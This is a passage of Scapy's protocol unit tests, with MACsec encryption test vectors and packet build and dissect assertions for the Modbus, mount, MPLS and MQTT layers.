sa.make_iv(m) assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\xAE\xA4\x7E\x08')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400014DBD2F6A754A6CF728CC129BA6931577"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.5.1 GCM-AES-128 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0x76D457ED, key=b'\x07\x1B\x11\x3B\x0C\xA7\x43\xFE\xCC\xCF\x3D\x05\x1F\x73\x73\x82', icvlen=16, encrypt=1, send_sci=0) p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert(raw(iv) == raw(b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01\x76\xD4\x57\xED')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED13B4C72B389DC5018E72A171DD85A5D3752274D3A019FBCAED09A425CD9B2E1C9B72EEE7C9DE7D52B3F3D6A5284F4A6D3FE22A5D6C2B960494C3"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.5.2 GCM-AES-256 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0x76D457ED, key=b'\x69\x1D\x3E\xE9\x09\xD7\xF5\x41\x67\xFD\x1C\xA0\xB5\xD7\x69\x08\x1F\x2B\xDE\x1A\xEE\x65\x5F\xDB\xAB\x80\xBD\x52\x95\xAE\x6B\xE7', icvlen=16, encrypt=1, send_sci=0) p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert(raw(iv) == raw(b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01\x76\xD4\x57\xED')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457EDC1623F55730C93533097ADDAD25664966125352B43ADACBD61C5EF3AC90B5BEE929CE4630EA79F6CE51912AF39C2D1FDC2051F8B7B3C9D397EF2"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.5.3 GCM-AES-XPN-128 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\x07\x1B\x11\x3B\x0C\xA7\x43\xFE\xCC\xCF\x3D\x05\x1F\x73\x73\x82', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\x6A\xB2\xAD\x80')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED9CA46984430203ED416EBDC2FE2622BA3E5EAB6961C36383009E187E9B0C88564653B9ABD216441C6AB6F0A232E9E44C978CF7CD84D43484D101"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.5.4 GCM-AES-XPN-256 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\x69\x1D\x3E\xE9\x09\xD7\xF5\x41\x67\xFD\x1C\xA0\xB5\xD7\x69\x08\x1F\x2B\xDE\x1A\xEE\x65\x5F\xDB\xAB\x80\xBD\x52\x95\xAE\x6B\xE7', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\x6A\xB2\xAD\x80')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED88D9F7D1F1578EE34BA7B1ABC89893EF1D3398C9F1DD3E47FBD8553E0FF786EF5699EB01EA10420D0EBD39A0E273C4C7F95ED843207D7A497DFA"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) scapy-2.4.4/test/contrib/modbus.uts000066400000000000000000000420141372370053500173130ustar00rootroot00000000000000% Modbus layer test campaign + Syntax check = Import the modbus layer from scapy.contrib.modbus import * + Test MBAP = MBAP default values raw(ModbusADURequest()) == b'\x00\x00\x00\x00\x00\x01\xff' = MBAP payload length calculation raw(ModbusADURequest() / b'\x00\x01\x02') == b'\x00\x00\x00\x00\x00\x04\xff\x00\x01\x02' = MBAP Guess Payload ModbusPDU01ReadCoilsRequest (simple case) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x01\x00\x00\x00\x01') assert(isinstance(p.payload, ModbusPDU01ReadCoilsRequest)) = MBAP Guess Payload ModbusPDU01ReadCoilsResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x04\xff\x01\x01\x01') assert(isinstance(p.payload, ModbusPDU01ReadCoilsResponse)) = MBAP Guess Payload ModbusPDU01ReadCoilsError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x81\x02') assert(isinstance(p.payload, ModbusPDU01ReadCoilsError)) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationRequest (2 level test) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x04\xff+\x0e\x01\x00') assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationRequest)) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x1b\xff+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationResponse)) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\xab\x01') assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationError)) = MBAP Guess Payload Reserved Function Request (Invalid payload) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b') assert(isinstance(p.payload,ModbusPDUReservedFunctionCodeRequest)) = MBAP Guess Payload Reserved Function Response (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e') assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse)) = MBAP Guess Payload Reserved Function Error (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a') assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeError)) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse assert raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00' = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse minimal parameters assert raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01' = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest dissection p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01') p.byteCount == 2 and p.inputStatus == [0x02, 0x01] = ModbusPDU02ReadDiscreteInputsError raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01' = MBAP Guess Payload User-Defined Function Request (Invalid payload) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeRequest) = MBAP Guess Payload User-Defined Function Response (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse) = MBAP Guess Payload User-Defined Function Error (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeError) + Test layer binding = Destination port p = TCP()/ModbusADURequest() p[TCP].dport == 502 = Source port p = TCP()/ModbusADUResponse() p[TCP].sport == 502 + Test PDU * Note on tests cases: dissection/minimal parameters will not be done for packets that does not perform calculation # 0x01/0x81 Read Coils -------------------------------------------------------------- = ModbusPDU01ReadCoilsRequest raw(ModbusPDU01ReadCoilsRequest()) == b'\x01\x00\x00\x00\x01' = ModbusPDU01ReadCoilsRequest minimal parameters raw(ModbusPDU01ReadCoilsRequest(startAddr=16, quantity=2)) == b'\x01\x00\x10\x00\x02' = ModbusPDU01ReadCoilsRequest dissection p = ModbusPDU01ReadCoilsRequest(b'\x01\x00\x10\x00\x02') assert(p.startAddr == 16) assert(p.quantity == 2) = ModbusPDU01ReadCoilsResponse raw(ModbusPDU01ReadCoilsResponse()) == b'\x01\x01\x00' = ModbusPDU01ReadCoilsResponse minimal parameters raw(ModbusPDU01ReadCoilsResponse(coilStatus=[0x10]*3)) == b'\x01\x03\x10\x10\x10' = ModbusPDU01ReadCoilsResponse dissection p = ModbusPDU01ReadCoilsResponse(b'\x01\x03\x10\x10\x10') assert(p.coilStatus == [16, 16, 16]) assert(p.byteCount == 3) = ModbusPDU01ReadCoilsError raw(ModbusPDU01ReadCoilsError()) == b'\x81\x01' = ModbusPDU81ReadCoilsError minimal parameters raw(ModbusPDU01ReadCoilsError(exceptCode=2)) == b'\x81\x02' = ModbusPDU81ReadCoilsError dissection p = ModbusPDU01ReadCoilsError(b'\x81\x02') assert(p.funcCode == 0x81) assert(p.exceptCode == 2) # 0x02/0x82 Read Discrete Inputs Registers ------------------------------------------ = ModbusPDU02ReadDiscreteInputsRequest raw(ModbusPDU02ReadDiscreteInputsRequest()) == b'\x02\x00\x00\x00\x01' = ModbusPDU02ReadDiscreteInputsRequest minimal parameters raw(ModbusPDU02ReadDiscreteInputsRequest(startAddr=8, quantity=128)) == b'\x02\x00\x08\x00\x80' = ModbusPDU02ReadDiscreteInputsResponse raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00' = ModbusPDU02ReadDiscreteInputsResponse minimal parameters raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01' = ModbusPDU02ReadDiscreteInputsRequest dissection p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01') assert(p.byteCount == 2) assert(p.inputStatus == [0x02, 0x01]) = ModbusPDU02ReadDiscreteInputsError raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01' # 0x03/0x83 Read Holding Registers -------------------------------------------------- = ModbusPDU03ReadHoldingRegistersRequest raw(ModbusPDU03ReadHoldingRegistersRequest()) == b'\x03\x00\x00\x00\x01' = ModbusPDU03ReadHoldingRegistersRequest minimal parameters raw(ModbusPDU03ReadHoldingRegistersRequest(startAddr=2048, quantity=16)) == b'\x03\x08\x00\x00\x10' = ModbusPDU03ReadHoldingRegistersResponse raw(ModbusPDU03ReadHoldingRegistersResponse()) == b'\x03\x02\x00\x00' = ModbusPDU03ReadHoldingRegistersResponse minimal parameters 1==1 = ModbusPDU03ReadHoldingRegistersResponse dissection p = ModbusPDU03ReadHoldingRegistersResponse(b'\x03\x06\x02+\x00\x00\x00d') assert(p.byteCount == 6) assert(p.registerVal == [555, 0, 100]) = ModbusPDU03ReadHoldingRegistersError raw(ModbusPDU03ReadHoldingRegistersError()) == b'\x83\x01' # 0x04/0x84 Read Input Register ----------------------------------------------------- = ModbusPDU04ReadInputRegistersRequest raw(ModbusPDU04ReadInputRegistersRequest()) == b'\x04\x00\x00\x00\x01' = ModbusPDU04ReadInputRegistersResponse raw(ModbusPDU04ReadInputRegistersResponse()) == b'\x04\x02\x00\x00' = ModbusPDU04ReadInputRegistersResponse minimal parameters raw(ModbusPDU04ReadInputRegistersResponse(registerVal=[0x01, 0x02])) == b'\x04\x04\x00\x01\x00\x02' = ModbusPDU04ReadInputRegistersError raw(ModbusPDU04ReadInputRegistersError()) == b'\x84\x01' # 0x05/0x85 Write Single Coil ------------------------------------------------------- = ModbusPDU05WriteSingleCoilRequest raw(ModbusPDU05WriteSingleCoilRequest()) == b'\x05\x00\x00\x00\x00' = ModbusPDU05WriteSingleCoilResponse raw(ModbusPDU05WriteSingleCoilResponse()) == b'\x05\x00\x00\x00\x00' = ModbusPDU05WriteSingleCoilError raw(ModbusPDU05WriteSingleCoilError()) == b'\x85\x01' # 0x06/0x86 Write Single Register --------------------------------------------------- = ModbusPDU06WriteSingleRegisterRequest raw(ModbusPDU06WriteSingleRegisterRequest()) == b'\x06\x00\x00\x00\x00' = ModbusPDU06WriteSingleRegisterResponse raw(ModbusPDU06WriteSingleRegisterResponse()) == b'\x06\x00\x00\x00\x00' = ModbusPDU06WriteSingleRegisterError raw(ModbusPDU06WriteSingleRegisterError()) == b'\x86\x01' # 0x07/0x87 Read Exception Status (serial line only) -------------------------------- = ModbusPDU07ReadExceptionStatusRequest raw(ModbusPDU07ReadExceptionStatusRequest()) == b'\x07' = ModbusPDU07ReadExceptionStatusResponse raw(ModbusPDU07ReadExceptionStatusResponse()) == b'\x07\x00' = ModbusPDU07ReadExceptionStatusError raw(ModbusPDU07ReadExceptionStatusError()) == b'\x87\x01' # 0x08/0x88 Diagnostics (serial line only) ------------------------------------------ = ModbusPDU08DiagnosticsRequest raw(ModbusPDU08DiagnosticsRequest()) = ModbusPDU08DiagnosticsRequest minimal parameters raw(ModbusPDU08DiagnosticsRequest(data=[0x1234])) == b'\x08\x00\x00\x12\x34' = ModbusPDU08DiagnosticsResponse raw(ModbusPDU08DiagnosticsResponse()) == b'\x08\x00\x00\x00\x00' = ModbusPDU08DiagnosticsResponse minimal parameters raw(ModbusPDU08DiagnosticsResponse(data=[0x1234])) == b'\x08\x00\x00\x12\x34' = ModbusPDU08DiagnosticsError raw(ModbusPDU08DiagnosticsError()) == b'\x88\x01' # 0x0b Get Comm Event Counter: serial line only ------------------------------------- = ModbusPDU0BGetCommEventCounterRequest raw(ModbusPDU0BGetCommEventCounterRequest()) == b'\x0b' = ModbusPDU0BGetCommEventCounterResponse raw(ModbusPDU0BGetCommEventCounterResponse()) == b'\x0b\x00\x00\xff\xff' = ModbusPDU0BGetCommEventCounterError raw(ModbusPDU0BGetCommEventCounterError()) == b'\x8b\x01' # 0x0c Get Comm Event Log: serial line only ----------------------------------------- = ModbusPDU0CGetCommEventLogRequest raw(ModbusPDU0CGetCommEventLogRequest()) == b'\x0c' = ModbusPDU0CGetCommEventLogResponse raw(ModbusPDU0CGetCommEventLogResponse()) == b'\x0c\x08\x00\x00\x01\x08\x01\x21\x20\x00' = ModbusPDU0CGetCommEventLogError raw(ModbusPDU0CGetCommEventLogError()) == b'\x8c\x01' # 0x0f/0x8f Write Multiple Coils ---------------------------------------------------- = ModbusPDU0FWriteMultipleCoilsRequest raw(ModbusPDU0FWriteMultipleCoilsRequest()) = ModbusPDU0FWriteMultipleCoilsRequest minimal parameters raw(ModbusPDU0FWriteMultipleCoilsRequest(outputsValue=[0x01, 0x01])) == b'\x0f\x00\x00\x00\x01\x02\x01\x01' = ModbusPDU0FWriteMultipleCoilsResponse raw(ModbusPDU0FWriteMultipleCoilsResponse()) == b'\x0f\x00\x00\x00\x01' = ModbusPDU0FWriteMultipleCoilsError raw(ModbusPDU0FWriteMultipleCoilsError()) == b'\x8f\x01' # 0x10/0x90 Write Multiple Registers ---------------------------------------------------- = ModbusPDU10WriteMultipleRegistersRequest raw(ModbusPDU10WriteMultipleRegistersRequest()) == b'\x10\x00\x00\x00\x01\x02\x00\x00' = ModbusPDU10WriteMultipleRegistersRequest minimal parameters raw(ModbusPDU10WriteMultipleRegistersRequest(outputsValue=[0x0001, 0x0002])) == b'\x10\x00\x00\x00\x02\x04\x00\x01\x00\x02' = ModbusPDU10WriteMultipleRegistersResponse raw(ModbusPDU10WriteMultipleRegistersResponse()) == b'\x10\x00\x00\x00\x01' = ModbusPDU10WriteMultipleRegistersError raw(ModbusPDU10WriteMultipleRegistersError()) == b'\x90\x01' # 0x11/91 Report Slave ID: serial line only ---------------------------------------- = ModbusPDU11ReportSlaveIdRequest raw(ModbusPDU11ReportSlaveIdRequest()) == b'\x11' = ModbusPDU11ReportSlaveIdResponse minimal parameters raw(ModbusPDU11ReportSlaveIdResponse(byteCount=3, slaveId="ID")) == b'\x11\x03\x49\x44\x00' = ModbusPDU11ReportSlaveIdError raw(ModbusPDU11ReportSlaveIdError()) == b'\x91\x01' # 0x14/944 Read File Record --------------------------------------------------------- = ModbusPDU14ReadFileRecordRequest len parameters p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest()/ModbusReadFileSubRequest()) assert(p == b'\x14\x0e\x06\x00\x01\x00\x00\x00\x01\x06\x00\x01\x00\x00\x00\x01') = ModbusPDU14ReadFileRecordRequest minimal parameters p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest(fileNumber=4, recordNumber=1, recordLength=2)/ModbusReadFileSubRequest(fileNumber=3, recordNumber=9, recordLength=2)) assert(p == b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02') = ModbusPDU14ReadFileRecordRequest dissection p = ModbusPDU14ReadFileRecordRequest(b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02') assert(isinstance(p.payload, ModbusReadFileSubRequest)) assert(isinstance(p.payload.payload, ModbusReadFileSubRequest)) = ModbusPDU14ReadFileRecordResponse minimal parameters raw(ModbusPDU14ReadFileRecordResponse()/ModbusReadFileSubResponse(recData=[0x0dfe, 0x0020])/ModbusReadFileSubResponse(recData=[0x33cd, 0x0040])) == b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@' = ModbusPDU14ReadFileRecordResponse dissection p = ModbusPDU14ReadFileRecordResponse(b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@') assert(isinstance(p.payload, ModbusReadFileSubResponse)) assert(isinstance(p.payload.payload, ModbusReadFileSubResponse)) = ModbusPDU14ReadFileRecordError raw(ModbusPDU14ReadFileRecordError()) == b'\x94\x01' # 0x15/0x95 Write File Record ------------------------------------------------------- = ModbusPDU15WriteFileRecordRequest minimal parameters raw(ModbusPDU15WriteFileRecordRequest()/ModbusWriteFileSubRequest(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' = ModbusPDU15WriteFileRecordRequest dissection p = ModbusPDU15WriteFileRecordRequest(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') assert(isinstance(p.payload, ModbusWriteFileSubRequest)) assert(p.payload.recordLength == 3) = ModbusPDU15WriteFileRecordResponse minimal parameters raw(ModbusPDU15WriteFileRecordResponse()/ModbusWriteFileSubResponse(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' = ModbusPDU15WriteFileRecordResponse dissection p = ModbusPDU15WriteFileRecordResponse(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') assert(isinstance(p.payload, ModbusWriteFileSubResponse)) assert(p.payload.recordLength == 3) = ModbusPDU15WriteFileRecordError raw(ModbusPDU15WriteFileRecordError()) == b'\x95\x01' # 0x16/0x96 Mask Write Register ----------------------------------------------------- = ModbusPDU16MaskWriteRegisterRequest raw(ModbusPDU16MaskWriteRegisterRequest()) == b'\x16\x00\x00\xff\xff\x00\x00' = ModbusPDU16MaskWriteRegisterResponse raw(ModbusPDU16MaskWriteRegisterResponse()) == b'\x16\x00\x00\xff\xff\x00\x00' = ModbusPDU16MaskWriteRegisterError raw(ModbusPDU16MaskWriteRegisterError()) == b'\x96\x01' # 0x17/0x97 Read/Write Multiple Registers ------------------------------------------- = ModbusPDU17ReadWriteMultipleRegistersRequest raw(ModbusPDU17ReadWriteMultipleRegistersRequest()) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00' = ModbusPDU17ReadWriteMultipleRegistersRequest minimal parameters raw(ModbusPDU17ReadWriteMultipleRegistersRequest(writeRegistersValue=[0x0001, 0x0002])) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02' = ModbusPDU17ReadWriteMultipleRegistersRequest dissection p = ModbusPDU17ReadWriteMultipleRegistersRequest(b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02') assert(p.byteCount == 4) assert(p.writeQuantityRegisters == 2) = ModbusPDU17ReadWriteMultipleRegistersResponse raw(ModbusPDU17ReadWriteMultipleRegistersResponse()) == b'\x17\x02\x00\x00' = ModbusPDU17ReadWriteMultipleRegistersResponse minimal parameters raw(ModbusPDU17ReadWriteMultipleRegistersResponse(registerVal=[1,2,3])) == b'\x17\x06\x00\x01\x00\x02\x00\x03' = ModbusPDU17ReadWriteMultipleRegistersResponse dissection raw(ModbusPDU17ReadWriteMultipleRegistersResponse(b'\x17\x02\x00\x01')) == b'\x17\x02\x00\x01' = ModbusPDU17ReadWriteMultipleRegistersError raw(ModbusPDU17ReadWriteMultipleRegistersError()) == b'\x97\x01' # 0x18/0x88 Read FIFO Queue --------------------------------------------------------- = ModbusPDU18ReadFIFOQueueRequest raw(ModbusPDU18ReadFIFOQueueRequest()) == b'\x18\x00\x00' = ModbusPDU18ReadFIFOQueueResponse = ModbusPDU18ReadFIFOQueueResponse raw(ModbusPDU18ReadFIFOQueueResponse()) == b'\x18\x00\x02\x00\x00' = ModbusPDU18ReadFIFOQueueResponse minimal parameters raw(ModbusPDU18ReadFIFOQueueResponse(FIFOVal=[0x0001, 0x0002, 0x0003])) == b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03' = ModbusPDU18ReadFIFOQueueResponse dissection p = ModbusPDU18ReadFIFOQueueResponse(b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03') assert(p.byteCount == 8) assert(p.FIFOCount == 3) = ModbusPDU18ReadFIFOQueueError raw(ModbusPDU18ReadFIFOQueueError()) == b'\x98\x01' # 0x2b encapsulated Interface Transport --------------------------------------------- # 0x2b 0xOD CANopen General Reference (out of the main specification) --------------- # 0x2b 0xOE Read Device Information ------------------------------------------------- = ModbusPDU2B0EReadDeviceIdentificationRequest raw(ModbusPDU2B0EReadDeviceIdentificationRequest()) == b'+\x0e\x01\x00' = ModbusPDU2B0EReadDeviceIdentificationResponse raw(ModbusPDU2B0EReadDeviceIdentificationResponse()) == b'+\x0e\x04\x01\x00\x00\x00' = ModbusPDU2B0EReadDeviceIdentificationResponse complete response p = raw(ModbusPDU2B0EReadDeviceIdentificationResponse(objCount=2)/ModbusObjectId(id=0, value="Obj1")/ModbusObjectId(id=1, value="Obj2")) assert(p == b'+\x0e\x04\x01\x00\x00\x02\x00\x04Obj1\x01\x04Obj2') = ModbusPDU2B0EReadDeviceIdentificationResponse dissection p = ModbusPDU2B0EReadDeviceIdentificationResponse(b'+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') assert(p.payload.payload.payload.id == 2) assert(p.payload.payload.id == 1) assert(p.payload.id == 0) = ModbusPDU2B0EReadDeviceIdentificationError raw(ModbusPDU2B0EReadDeviceIdentificationError()) == b'\xab\x01' scapy-2.4.4/test/contrib/mount.uts000066400000000000000000000031471372370053500171700ustar00rootroot00000000000000% Test mount layer #################### #################### + Packet Creation Tests = Create subpackets Path() File_Object() = Create Mount Calls NULL_Call() MOUNT_Call() UNMOUNT_Call() = Create Successful Mount Replies MOUNT_Reply(status=0) = Create Failed Mount Replies MOUNT_Reply(status=1) + RPC Layer bindings tests = Layer Bindings for Mount Calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/NULL_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 0)) pkt = RPC()/RPC_Call()/MOUNT_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 1)) pkt = RPC()/RPC_Call()/UNMOUNT_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 3)) = Layer Bindings for Mount Replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/NULL_Reply() assert(pkt.mtype == 1) pkt = RPC()/RPC_Reply()/MOUNT_Reply() assert(pkt.mtype == 1) pkt = RPC()/RPC_Reply()/UNMOUNT_Reply() assert(pkt.mtype == 1) + Test Built Packets vs Raw Strings = Mount calls vs Raw strings pkt = MOUNT_Call( path=Path( length=4, path='path' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04path' pkt = UNMOUNT_Call( path=Path( length=4, path='path' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04path' = Mount replies vs Raw Strings pkt = MOUNT_Reply( status=0, filehandle=File_Object( length=4, fh='file' ), flavors=3, flavor=[ 0,0,0 ] ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' scapy-2.4.4/test/contrib/mpls.uts000066400000000000000000000017341372370053500170010ustar00rootroot00000000000000# MPLS unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('mpls')" -t test/contrib/mpls.uts + MPLS = Build & dissect - IPv4 s = raw(Ether(src="00:01:02:04:05")/MPLS()/IP()) assert(s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x00\x01\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01') p = Ether(s) assert(MPLS in p and IP in p) = Build & dissect - IPv6 s = raw(Ether(src="00:01:02:04:05")/MPLS(s=0)/MPLS()/IPv6()) assert(s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x000\x00\x00\x00!\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') p = Ether(s) assert(IPv6 in p and isinstance(p[MPLS].payload, MPLS)) = Association on IP and IPv6 p = IP()/MPLS() p = IP(raw(p)) assert p[IP].proto == 137 p2 = IPv6()/MPLS() p2 = IPv6(raw(p2)) assert p2[IPv6].nh == 137 scapy-2.4.4/test/contrib/mqtt.uts000066400000000000000000000105771372370053500170200ustar00rootroot00000000000000# MQTT layer unit tests # Copyright (C) Santiago Hernandez Ramos # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('mqtt')" -t test/contrib/mqtt.uts + Syntax check = Import the MQTT layer from scapy.contrib.mqtt import * + MQTT protocol test = MQTTPublish, packet instantiation p = MQTT()/MQTTPublish(topic='test1',value='test2') assert(p.type == 3) assert(p.topic == b'test1') assert(p.value == b'test2') assert(p.len == None) assert(p.length == None) = Fixed header and MQTTPublish, packet dissection s = b'0\n\x00\x04testtest' publish = MQTT(s) assert(publish.type == 3) assert(publish.QOS == 0) assert(publish.DUP == 0) assert(publish.RETAIN == 0) assert(publish.len == 10) assert(publish[MQTTPublish].length == 4) assert(publish[MQTTPublish].topic == b'test') assert(publish[MQTTPublish].value == b'test') = MQTTConnect, packet instantiation c = MQTT()/MQTTConnect(clientIdlen=5, clientId='newid') assert(c.type == 1) assert(c.clientId == b'newid') assert(c.clientIdlen == 5) = MQTTConnect, packet dissection s = b'\x10\x1f\x00\x06MQIsdp\x03\x02\x00<\x00\x11mosqpub/1440-kali' connect = MQTT(s) assert(connect.length == 6) assert(connect.protoname == b'MQIsdp') assert(connect.protolevel == 3) assert(connect.usernameflag == 0) assert(connect.passwordflag == 0) assert(connect.willretainflag == 0) assert(connect.willQOSflag == 0) assert(connect.willflag == 0) assert(connect.cleansess == 1) assert(connect.reserved == 0) assert(connect.klive == 60) assert(connect.clientIdlen == 17) assert(connect.clientId == b'mosqpub/1440-kali') =MQTTConnack, packet instantiation ck = 